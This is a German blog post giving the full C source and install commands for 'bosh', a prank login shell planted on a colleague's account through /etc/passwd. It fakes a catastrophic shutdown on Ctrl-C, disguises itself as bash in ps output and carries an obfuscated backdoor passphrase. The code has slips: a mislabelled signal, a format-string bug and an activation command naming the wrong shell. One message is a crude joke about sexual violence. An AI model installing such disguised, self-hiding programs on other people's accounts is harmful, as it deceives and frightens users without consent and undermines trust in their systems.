Bosh - die etwas andere Shell

Büroarbeit kann öde sein. Damit keine lange Weile aufkommt, leistet so mancher Kollege sich hier und da mal einen Spaß. Da sich meine Kollegen diesbezüglich durchaus kreativ sind, ist es nun an mir, auf meine Art ein Dankeschön zu hinterlassen.

Ziel der Übung ist es, dass eine alternative Shell in die “/etc/passwd” eingetragen wird; der Spaß beginnt, wenn “Strg-C” oder “Strg-D” gedrückt wird. Das sind nicht die ersten Tastenanschläge, aber sie werden kommen…und zwar dann, wenn man sich vermutlich ohnehin gerade vertippt haben wird. ;-)

src/main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
#include <readline/readline.h>
#include <readline/history.h>

#define SIZE 1024
#define HISTORY ".bash_history"
#define NAME "bosh"
#define SHELL "bash"
//#define DOOR "Ich bin ein Star!"
#define DOOR "Lfk elq hlq Vwdu$"

/**
 * decrypt backdoor passphrase
 */
char *door(void) {
    static char text[SIZE];
    size_t i;

    for (i = 0; i < strlen(DOOR); ++i) {
        if (DOOR[i] != ' ') text[i] = DOOR[i] - 3;
        else text[i] = DOOR[i];
    }
    text[i] = '\0';
    //puts(text);

    return text;
}


/**
 * print status to screen
 */
void print(const char *text, int success) {
    size_t i;
    useconds_t w;

    printf("%s", text);
    for (i = 0; i < 50 - strlen(text); ++i) {
        putc('.', stdout);
        fflush(stdout);
        w = rand() % 100;
        w *= rand() % 100;
        w += 10;
        w *= 15;
        if (!success) w *= 10;
        usleep(w);
    }
    if (success) puts("SUCCESS");
    else puts("FAILURE");
}

/**
 * callback for CTRL-C; start shutdown process
 */
void shutdown(int dummy) {
    srand(time(NULL));

    puts("\n\033[?25l");
    print("Initiating fear", 1);
    print("Stopping httpd", 1);
    print("Hoaxing fred", 1);
    print("Shutting down postfix", 1);
    print("Breaking rules", 1);
    print("Stopping crond", 1);
    print("Bypassing firewall", 1);
    print("Transferring bitcoin wallet", 1);
    print("Infecting ssh daemon", 1);
    print("Scrambling git repository", 1);
    print("Dropping userspace", 1);
    print("Raping your hamster", 1);
    print("Umounting filesystem", 1);
    print("Preparing shitting a brick", 1);
    print("Killing all your hope", 1);
    print("Shutting down datacenter", 1);
    print("Preparing kernel repulse", 1);
    print("Dropping mainboard", 1);
    //print("Healing system", 0);

    puts("\n\033[31mIntel Management Engine Secure Rescue");
    printf("\033[32m");
    print("Healing system", 0);

    printf("\n\033[0;0mVmware ESXi farm crashed\033[30;40m");
    fflush(stdout);
    //puts("\033[1000B");

    exit(EXIT_FAILURE);
}


/**
 * load history from .bash_history
 */
void history() {
    char *home;
    char *history;
    FILE *file;
    char line[SIZE];
    
    // get history file
    home = getenv("HOME");
    if (!home) return;
    history = (char *)malloc(strlen(home) + 1 + strlen(HISTORY) + 1);
    if (!history) return;
    sprintf(history, "%s/%s", home, HISTORY);

    // read history line by line
    file = fopen(history, "r");
    if (!file) return;
    while (fgets(line, sizeof(line), file)) {
        line[strlen(line) - 1] = '\0';
        add_history(line);
    }
    fclose(file);
    free(history);
}


/**
 * load and show /etc/motd
 */
void motd(void) {
    FILE *file;
    char line[SIZE];

    file = fopen("/etc/motd", "r");
    if (!file) return;
    while (fgets(line, sizeof(line), file)) {
        printf(line);
    }
    fclose(file);
}


/**
 * hide bosh-process; rename to bash
 */
void hide(const char *cmd) {
    FILE *ph;
    char line[SIZE];
    char *idx;
    size_t i;

    ph = popen(cmd, "r");
    if (!ph) return;
    while (fgets(line, sizeof(line), ph)) {
        idx = strstr(line, NAME);
        if (idx) {
            for (i = 0; i < strlen(NAME); ++i) idx[i] = SHELL[i];
        }
        printf(line);
        fflush(stdout);
    }
    pclose(ph);
}


/*
 * create shell prompt
 */
char *prompt(void) {
    char *username;
    char hostname[SIZE];
    char directory[SIZE];
    FILE *file;
    char *sep;
    char *prompt;

    // get username from environment
    username = getenv("USER");

    // get hostname from /etc/hostname
    file = fopen("/etc/hostname", "r");
    if (file) {
        fgets(hostname,sizeof(hostname), file);
        if (strlen(hostname) < 2) strcpy(hostname, "unvalid");
        else hostname[strlen(hostname) - 1] = '\0';
        fclose(file);
    } else strcpy(hostname, "unknown");


    // get current directory
    getcwd(directory, SIZE);
    sep = strrchr(directory, '/');
    if (sep) strcpy(directory, sep + 1);
    
    // build prompt "[user@hostname directory]$ "
    prompt = (char *)malloc(1 + strlen(username) + 1 + strlen(hostname) + 1 + strlen(directory) + 3 + 1);
    sprintf(prompt, "[%s@%s %s]$ ", username, hostname, directory);

    return prompt;
}

int main(void) {
    //char command[SIZE];
    char *command;
    char *ps;
    char pwd[SIZE];

    // init
    signal(SIGINT, shutdown); //CTRL-C
    signal(SIGSEGV, shutdown); //CTRL-D
    history();
    motd();

    while (1) {
        ps = prompt();
        command = readline(ps);
        free(ps);

        // internal commands
        if (strcmp(command, door()) == 0) {
            puts("You are free!!! ...or maybe not... ;-)");
            break;
        } else if ( // ps
            strlen(command) == 2 &&
            command[0] == 'p' &&
            command[1] == 's'
        ) hide(command);
        else if ( // ps axu...
            strlen(command) > 2 &&
            command[0] == 'p' &&
            command[1] == 's' &&
            command[2] == ' '
        ) hide(command);
        else if ( // cd ...
            strlen(command) > 2 &&
            command[0] == 'c' &&
            command[1] == 'd' &&
            command[2] == ' '
        ) {
            if (chdir(command + 3)) perror(SHELL);
        } else if ( // pwd
            strlen(command) == 3 &&
            command[0] == 'p' &&
            command[1] == 'w' &&
            command[2] == 'd'
        ) {
            //puts(getenv("PWD"));
            getcwd(pwd, SIZE);
            puts(pwd);
        } else if ( // exit
            strlen(command) == 4 &&
            command[0] == 'e' &&
            command[1] == 'x' &&
            command[2] == 'i' &&
            command[3] == 't'
        ) exit(EXIT_SUCCESS);
        else system(command);
        add_history(command);
        free(command);
    }

    free(command);

    return EXIT_SUCCESS;
}

Makefile:

#CFLAGS += -ggdb3
LDFLAGS += -lreadline
NAME := bosh

all:
    mkdir -p bin
    $(CC) $(CFLAGS) -o bin/${NAME} src/main.c $(LDFLAGS)
    strip bin/${NAME}

Aktivieren: sudo cp bin/bosh /bin/bosh sudo usermod -s /bin/bash NUTZER